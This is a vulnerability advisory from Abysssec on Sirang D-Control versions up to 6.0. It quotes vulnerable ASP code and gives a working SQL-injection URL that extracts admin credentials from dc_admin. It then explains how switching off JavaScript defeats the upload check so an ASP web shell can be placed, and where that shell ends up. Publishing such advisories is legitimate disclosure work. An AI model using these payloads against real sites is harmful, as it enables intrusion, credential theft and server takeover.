Abysssec Research

1) Advisory information

Title	**: Sirang Web-Based D-Control Multiple Remote Vulnerabilities**
Affected	**: <= v6.0**
Discovery	**: www.abysssec.com**
Vendor	**: http://www.sirang.com**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- **SQL Injection**

2- **Bypass upload restriction**

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- SQL Injection:

Vulnerable code located in content.asp

```
line 131-133
...
   txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1"
   set rs=conn.execute(txt)
            while not rs.eof
...

content.asp line 202-206
...
if id<>"" then
              txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'"
              set xx = conn.execute(txt10)
              if not xx.eof then
...
```

Lots of files those will have to do input validation from user input are vulnerable to SQL Injection.

PoC :

```
www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*

note : if you can't see result you need to do it blindly
```

2- Bypass uploads restriction:

After you got user/pass with SQL injection go to:

http://site.com/admin/dc_upload.asp

```
function showthumb(file) {
            if (file !='') {
            myshowfile = file;

            extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe");
            allowSubmit = false;
            while (file.indexOf("\\") != -1)
            file = file.slice(file.indexOf("\\") + 1);
            ext = file.slice(file.indexOf(".")).toLowerCase();
            for (var i = 0; i < extArray.length; i++) {
            if (extArray[i] == ext) { allowSubmit = true; break; }
            }

            if (allowSubmit) thumb.src=myshowfile;
```

```
        else
        alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
        }
        else {
        alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
        }
}
```

As you can see the uploader will check malicious extention by javascript . so just disable javascript and you can upload "ASP" shell. you can find your shell in :

www.site.com/0_site_com/[rnd-number].asp
(the application itself will show you rnd number right after upload)